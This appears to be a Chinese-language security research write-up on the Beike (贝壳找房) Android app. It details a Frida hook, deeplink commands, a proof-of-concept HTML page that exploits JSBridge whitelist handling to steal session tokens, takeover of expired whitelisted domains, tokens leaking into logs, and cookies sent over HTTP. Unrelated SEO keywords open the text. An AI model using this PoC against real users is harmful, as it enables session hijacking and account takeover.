哪个网站做兼职有保障,济南行业网站建设,贵州网站优化,网站运维合同前期配置
环境说明
使用PIXEL 4手机#xff0c;为Android 12系统
APP名为贝壳找房#xff0c;包名com.lianjia.beike#xff0c;版本号3.01.10#xff0c;截至2024/05/07为最新版#xff0c;小米应用市场下载
绕过反Frida机制
可以参考往期推送#xff0c;《绕过最新…前期配置
环境说明
使用PIXEL 4手机为Android 12系统
APP名为贝壳找房包名com.lianjia.beike版本号3.01.10截至2024/05/07为最新版小米应用市场下载
绕过反Frida机制
可以参考往期推送《绕过最新版bilibili APP反Frida机制》见文章末尾。Bypass.js脚本可以通用应该都是用的某个安卓安全产品
抓包
抓包有两个地方会踩坑1要把Burp的证书安装为系统证书贝壳APP不信任用户证书2贝壳APP默认不走系统设置的代理要使用Drony等软件
对于问题1可以使用Magisk的MoveCertificate模块[1]。对于问题2Drony可在Google搜索下载使用教程网上很多不赘述
信息搜集
DEEPLINK
在AndroidMainfest.xml中可以看到如下SCHEME使用lianjiabeike://等作为特征字符串即可搜集到大部分DEEPLINK 重点关注一些能发起网络请求的DEEPLINK如下所示调用该DEEPLINK可以指定URL打开一个WEBVIEW 在shell中打开该DEEPLINK可以使用命令am start -a android.intent.action.VIEW -W -d lianjiabeike://web/main?urlURL编码(网页URL)
WEB接口
配置Burp抓包后多操作一些APP功能有意识地搜集一些WEB接口即可
落地文件
重点关注/sdcard/Android/data/com.lianjia.beike目录下的落地文件重点关注后缀名为log, js的文件前者可能有敏感信息泄露问题后者可能会作为页面/代码加载执行
在/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录发现.xlog文件通过搜索发现xlog是腾讯mars日志模块产生的日志文件[3]并且不是纯文本格式需要解码
安全问题
JSBridge鉴权
鉴权实现
JSBridge鉴权绕过是经典问题了论文[2]发表于2022年讨论了47个顶流APP的JSBridge鉴权漏洞发表后各厂商更进修复了一轮
贝壳的JSBridge实现方式有点不同如下所示只有当DOMAIN在白名单内时才会调用addJavascriptInterface注册接口。也就是先鉴权再注册JSBridge而其它实现方式基本上是先注册JSBridge调用接口时再鉴权 白名单如下对于.开头的域名表示匹配该域名的所有子域名对于非.开头的域名表示只匹配该域名。 为了方便调试首先要通过HOOK手段打开APP内WEBVIEW的调试功能通过重写android.webkit.WebView的构造函数强制调用setWebContentsDebuggingEnabled方法打开调试功能代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function open_webview_debug() { Java.perform(function () { var WebView Java.use(android.webkit.WebView); WebView.$init.overloads.forEach(function(init) { init.implementation function() { // 调用原始构造方法 var instance init.apply(this, arguments); // 打开WebView的调试功能 WebView.setWebContentsDebuggingEnabled(true); console.log([*] WebView调试已开启); // 返回实例 return instance; }; }); }); }
然后在Chrome浏览器中点击inspect即可调试对应WEBVIEW 先通过window.locationhttps://ddd.ehomepay.com切换到一个在白名单里面的域名然后就可以调试JSBridge调用方法。如下所示发现window.HybridBridgeLJ._getStaticData()可以获取TOKEN在实验中发现只需要该TOKEN就可以请求大多数接口 页面返回绕过
我HOOK了checkDomainEffective方法在观察日志时发现在WEBVIEW中返回上一个页面时不会调用该方法于是想到一种可能的路径进入PAYLOAD网页 - 跳转至白名单URL注册JSBridge - 返回上一个页面且保留了JSBridge。POC HTML代码及演示视频如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 !DOCTYPE html html langen head meta charsetUTF-8 /head body button onclickpoc() idgo_toPOC/button script function poc() { window.location.href http://jj8.ehomepay.com } var internal setInterval(function () { const token window.HybridBridgeLJ._getStaticData() if (token ! undefined) { clearInterval(internal) alert(token) } }, 1) /script /body /html
注册域名绕过
白名单中的域名ehomepay.com正在出售可以直接买了接管。bkjk.cn域名似乎已经废弃不用查询whois信息发现今年9月份过期 TOKEN写入日志
将/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录下的xlog拉取到本地使用mars库提供的日志解码脚本(decode_mars_nocrypt_log_file.py)成功解码日志。注意这个脚本需要python2环境运行
解码后发现TOKEN如下所示 只要有该TOKEN就能请求绝大多数接口了如下图所示。部分接口还需要Authorization HEADER字段该字段的生成算法可以在APK中找到。 HTTP明文传输COOKIE
通过ADB打开http://ke.com发现COOKIE可以经过HTTP传输会导致中间人攻击。adb shell am start -a android.intent.action.VIEW -W -d lianjiabeike://web/main?urlhttp://ke.com 总结
还有很多攻击面没有探索比如DEEPLINK打开WEBVIEW时由于携带COOKIE可能会有CSRF问题以及绑定第三方账号的接口。